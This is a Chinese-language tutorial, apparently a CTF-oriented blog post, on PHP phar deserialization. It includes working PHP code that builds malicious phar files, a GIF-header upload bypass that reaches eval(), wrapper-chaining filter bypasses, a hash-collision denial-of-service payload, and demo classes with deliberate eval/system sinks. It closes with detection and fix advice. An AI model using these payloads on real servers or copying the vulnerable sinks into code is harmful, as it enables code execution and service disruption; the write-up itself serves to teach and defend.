Phar反序列化总结

前言

除了unserialize()来利用反序列化漏洞之外,还可以利用phar文件以序列化的形式存储用户自定义的meta-data这一特性,扩大php反序列化漏洞的攻击面。该方法在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作。

这次在比赛当中遇到phar反序列化,却不知道如何下手。社区里前面也有人总结过,但没有包括一些ctf利用和zxc师傅发现的姿势。于是就自己来整理了。

phar反序列化漏洞的原理

什么是phar文件?:

在软件中,PHAR(PHP归档)文件是一种打包格式,通过将许多PHP代码文件和其他资源(例如图像,样式表等)捆绑到一个归档文件中来实现应用程序和库的分发。wiki)

php通过用户定义和内置的“流包装器”实现复杂的文件处理功能。内置包装器可用于文件系统函数,如(fopen(),copy(),file_exists()和filesize()。 phar://就是一种内置的流包装器。

php中一些常见的流包装器如下:

1
2
3
4
5
6
7
8
9
10
11
12
file:// — 访问本地文件系统,在用文件系统函数时默认就使用该包装器
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

流包装器的详细内容可以参考
php流Streams、包装器wrapper 详解

phar文件的结构:

phar文件都包含以下几个部分:

1. stub
    phar文件的标志,必须以 xxx __HALT_COMPILER();?> 结尾,否则无法识别。xxx可以为自定义内容。
2. manifest
    phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是漏洞利用最核心的地方。
3. content
    被压缩文件的内容
4. signature (可空)
    签名,放在末尾。

生成一个phar文件:

php内置了一个phar类来处理相关操作。

注意:这里要将php.ini里面的phar.readonly选项设置为Off并把分号去掉。

(如果你在命令行运行PHP文件还是无法生成成功,请使用php -v查看php版本并在修改指定版本的php.ini。)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class TestObject {
}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

执行这个php文件,会生成一个phar.phar文件。打开查看可以看到Meta-data的内容是以序列化的形式储存的。

shengchengpharphp.jpg

xuliehua.jpg

php在解析这个phar的时候,还会对meta-data数据进行一次反序列化。PHP底层代码:

phpdiceng.png

通过反序列化,我们就能够控制一些类的变量进行利用。

漏洞利用条件

  1. phar文件要能够上传到服务器端。
  2. 要有可用的魔术方法作为“跳板”。
  3. 文件操作函数的参数可控,且:/phar等特殊字符没有被过滤。

受影响的文件操作函数

知道创宇测试后受影响的函数列表:

affect_function.png

但实际并不止这一些。

参考zxc师傅的文章:https://blog.zsxsoft.com/post/38

在跟踪了受影响函数的调用情况后发现,除了所有文件函数,只要是函数的实现过程直接或间接调用了php_stream_open_wrapper。都可能触发phar反序列化漏洞。

以下这些方式都可触发phar反序列化漏洞:

exif

exif_thumbnail
exif_imagetype

gd

imageloadfont
imagecreatefrom***

hash

hash_hmac_file
hash_file
hash_update_file
md5_file
sha1_file

file / url

get_meta_tags
get_headers

standard

getimagesize
getimagesizefromstring

zip

$zip = new ZipArchive();
$res = $zip->open('c.zip');
$zip->extractTo('phar://test.phar/test');

Bzip / Gzip

当环境限制了phar不能出现在前面的字符里。可以使用compress.bzip2://和compress.zlib://绕过

$z = 'compress.bzip2://phar:///home/sx/test.phar/test.txt';
$z = 'compress.zlib://phar:///home/sx/test.phar/test.txt';

配合其他协议:(SUCTF)

当环境限制了phar不能出现在前面的字符里,还可以配合其他协议进行利用。
php://filter/read=convert.base64-encode/resource=phar://phar.phar

Postgres

1
2
3
4
<?php
$pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "postgres", "sx", "123456"));
@$pdo->pgsqlCopyFromFile('aa', 'phar://phar.phar/aa');
?>
pgsqlCopyToFile和pg_trace同样也是能使用的,需要开启phar的写功能。

Mysql

LOAD DATA LOCAL INFILE也会触发这个php_stream_open_wrapper

配置一下mysqld:

[mysqld]
local-infile=1
secure_file_priv=""
1
2
3
4
5
6
7
8
9
10
11
12
<?php
class A {
public $s = '';
public function __wakeup () {
system($this->s);
}
}
$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, 'localhost', 'root', 'root', 'testtable', 3306);
$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://test.phar/test\' INTO TABLE a LINES TERMINATED BY \'\r\n\' IGNORE 1 LINES;');
?>

漏洞的利用实例

一个简单的例子

phar.php

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class TestObject {
}
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$o -> name='Threezh1'; //控制TestObject中的name变量为Threezh1
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class TestObject {
public $name;

function __destruct()
{
echo $this -> name;
}
}
if ($_GET["file"]){
file_exists($_GET["file"]);
}
?>

使用php phar.php生成phar.phar文件。

访问:http://127.0.0.1/index.php?file=phar://phar.phar

返回:Threezh1。 反序列化利用成功。

example01.jpg

绕过文件格式限制

  • 上传html页面: upload.html
  • 后端校验页面:upload.php
  • 一个漏洞页面:index.php (存在file_exits(), eval()函数)
  • 一个上传目录: upload_file/

upload.html:

1
2
3
4
5
6
7
8
9
10
11
12
<!DOCTYPE html>
<html>
<head>
<title>upload file</title>
</head>
<body>
<form action="http://127.0.0.1/upload.php" method="post" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" name="Upload" />
</form>
</body>
</html>

upload.php

仅允许格式为gif的文件上传。上传成功的文件会存储到upload_file目录下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
echo "Upload: " . $_FILES["file"]["name"];
echo "Type: " . $_FILES["file"]["type"];
echo "Temp file: " . $_FILES["file"]["tmp_name"];

if (file_exists("upload_file/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload_file/" .$_FILES["file"]["name"]);
echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];
}
}
else
{
echo "Invalid file,you can only upload gif";
}

index.php

1
2
3
4
5
6
7
8
9
10
11
<?php
class TestObject{
var $data = 'echo "Hello World";';
function __destruct()
{
eval($this -> data);
}
}
if ($_GET["file"]){
file_exists($_GET["file"]);
}

绕过思路:GIF格式验证可以通过在文件头部添加GIF89a绕过

我们可以构造一个php来生成phar.phar。

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class TestObject {
}
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$o -> data='phpinfo();'; //控制TestObject中的data为phpinfo()。
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

利用过程:

  • 一、生成一个phar.phar,修改后缀名为phar.gif

gifcheck.jpg

  • 二、上传到upload_file目录下

uploadgif.jpg

phpinfo.jpg

可见已经执行了phpinfo命令了。

通过修改后缀名和文件头,能够绕过大部分的校验。

配合PHP内核哈希表碰撞攻击

参考:https://xz.aliyun.com/t/2613

在PHP内核中,数组是以哈希表的方式实现的,攻击者可以通过巧妙的构造数组元素的key使哈希表退化成单链表(时间复杂度从O(1) => O(n))来触发拒绝服务攻击(DDOS)。

使用 phar.php 生成恶意的phar文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
set_time_limit(0);
$size= pow(2, 16);
$array = array();
for ($key = 0, $maxKey = ($size - 1) * $size; $key <= $maxKey; $key += $size) {
$array[$key] = 0;
}
$new_obj = new stdClass;
$new_obj->hacker = $array;
$p = new Phar(__DIR__ . '/phar.phar', 0);
$p['hacker.php'] = '<?php ?>';
$p->setMetadata($new_obj);
$p->setStub('<?php __HALT_COMPILER();?>');
?>

index.php:

1
2
3
4
5
6
7
<?php
set_time_limit(0);
$startTime = microtime(true);
file_exists("phar://phar.phar");
$endTime = microtime(true);
echo 'Time comsumption: '.($endTime - $startTime). ' s';
?>

访问:http://127.0.0.1/index.php 耗时67秒

ddos.jpg

漏洞的检测与修复

检测:

  1. 使用RIPS自动化检测

RIPS对敏感字符串分析使我们能够精确评估文件路径是完全还是由攻击者控制,以及是否可以phar://注入。

修复:

  1. 在文件系统函数的参数可控时,对参数进行严格的过滤。
  2. 严格检查上传文件的内容,而不是只检查文件头。
  3. 在条件允许的情况下禁用可执行系统命令、代码的危险函数。

参考

0%